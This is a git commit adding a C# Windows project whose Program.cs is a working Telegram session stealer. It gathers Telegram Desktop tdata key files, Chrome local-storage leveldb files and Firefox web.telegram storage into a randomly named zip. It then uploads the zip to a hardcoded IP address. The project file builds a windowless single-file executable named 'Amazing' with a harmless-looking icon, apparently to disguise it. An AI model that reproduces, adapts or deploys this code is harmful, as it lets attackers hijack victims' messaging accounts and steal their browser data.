Добавьте файлы проекта.

This commit is contained in:
itqop 2024-03-10 17:02:55 +03:00
parent ab3463d30b
commit 732b40af0b
4 changed files with 183 additions and 0 deletions

25
tg.sln Normal file
View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.7.34024.191
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "tg", "tg\tg.csproj", "{3638DE88-B7FA-4E07-85F9-B2B5B935E31F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Debug|Any CPU.Build.0 = Debug|Any CPU
{3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Release|Any CPU.ActiveCfg = Release|Any CPU
{3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {EA54079B-EB23-485B-945D-AC74A1080938}
EndGlobalSection
EndGlobal

129
tg/Program.cs Normal file
View File

@ -0,0 +1,129 @@
// See https://aka.ms/new-console-template for more information
using System.IO.Compression;
using System.Net;
string currentUserPath = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
string folderPathTg = Path.Combine(currentUserPath, @"AppData\Roaming\Telegram Desktop\tdata");
string webfolderPathEdge = Path.Combine(currentUserPath, @"AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb");
string webfolderPathGoogle = Path.Combine(currentUserPath, @"AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb");
string webfolderPathFirefox = Path.Combine(currentUserPath, @"AppData\Roaming\Mozilla\Firefox\Profiles\");
string webfolderPathFirefoxI = "";
if (Directory.Exists(webfolderPathFirefox))
{
foreach (string dirname in Directory.GetDirectories(webfolderPathFirefox))
{
if (Directory.Exists(Path.Combine(dirname, @"storage\default"))){
webfolderPathFirefoxI = Path.Combine(dirname, @"storage\default");
}
}
}
string randomName = Path.GetRandomFileName().Replace(".", "").ToUpper() + ".zip";
var filesToArchive = new List<string>();
filesToArchive.Add(Path.Combine(folderPathTg, "key_datas"));
string[] dirs = Directory.GetDirectories(folderPathTg);
string folder = "";
foreach (string filename in Directory.GetFiles(folderPathTg,"????????????????s"))
{
string temp = filename.Substring(0, filename.Length - 1);
if (dirs.Contains(temp))
{
folder = Path.GetFileName(filename);
folder = folder.Substring(0, folder.Length - 1);
filesToArchive.Add(filename);
filesToArchive.Add(temp + "/maps");
}
}
string zipPath = Path.Combine(Path.Combine(currentUserPath, @"AppData\Local"), randomName);
using (ZipArchive zipArchive = ZipFile.Open(zipPath, ZipArchiveMode.Create))
{
foreach (string file in filesToArchive)
{
if (File.Exists(file))
{
if (Path.GetFileName(file).Contains("maps"))
{
zipArchive.CreateEntryFromFile(file, "tdata/"+folder+"/" + Path.GetFileName(file));
}
else
{
zipArchive.CreateEntryFromFile(file, "tdata/" + Path.GetFileName(file));
}
}
}
if (Directory.Exists(webfolderPathEdge))
{
foreach (string filename in Directory.GetFiles(webfolderPathEdge))
{
if (!filename.Contains(".log"))
{
//zipArchive.CreateEntryFromFile(filename, "Edge/leveldb/" + Path.GetFileName(filename));
// Исправить систему
}
}
}
if (Directory.Exists(webfolderPathGoogle))
{
foreach (string filename in Directory.GetFiles(webfolderPathGoogle))
{
zipArchive.CreateEntryFromFile(filename, "Google/leveldb/" + Path.GetFileName(filename));
// Исправить систему
}
}
if (Directory.Exists(webfolderPathFirefoxI))
{
foreach (string dirname in Directory.GetDirectories(webfolderPathFirefoxI))
{
if (dirname.Contains("web.telegram"))
{
if (Directory.Exists(Path.Combine(dirname, "ls")))
{
zipArchive.CreateEntryFromFile(Path.Combine(dirname, @"ls\data.sqlite"), "Firefox(data.sqlite)");
}
}
}
}
}
string uploadUrl = "http://194.87.238.17/tghd.php";
try
{
using (WebClient client = new WebClient())
{
client.UploadFile(uploadUrl, zipPath);
}
}
catch (WebException ex)
{
if (ex.Response != null)
{
using (StreamReader reader = new StreamReader(ex.Response.GetResponseStream()))
{
string errorResponse = reader.ReadToEnd();
Console.WriteLine("Ошибка при отправке архива на сервер: " + errorResponse);
}
}
else
{
Console.WriteLine("Ошибка при отправке архива на сервер: " + ex.Message);
}
}
catch (Exception ex)
{
Console.WriteLine("Произошла ошибка: " + ex.Message);
}
//File.Delete(zipPath);

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

29
tg/tg.csproj Normal file
View File

@ -0,0 +1,29 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>WinExe</OutputType>
<TargetFramework>net6.0-windows</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<AssemblyName>Amazing</AssemblyName>
<ApplicationIcon>sign_way_direction_arrow_recycle_icon_256191.ico</ApplicationIcon>
<PublishSingleFile>true</PublishSingleFile>
<SelfContained>true</SelfContained>
<RuntimeIdentifier>win-x64</RuntimeIdentifier>
<PublishTrimmed>true</PublishTrimmed>
<TrimMode>Link</TrimMode>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
<DebugType>embedded</DebugType>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
<DebugType>embedded</DebugType>
</PropertyGroup>
<ItemGroup>
<Content Include="sign_way_direction_arrow_recycle_icon_256191.ico" />
</ItemGroup>
</Project>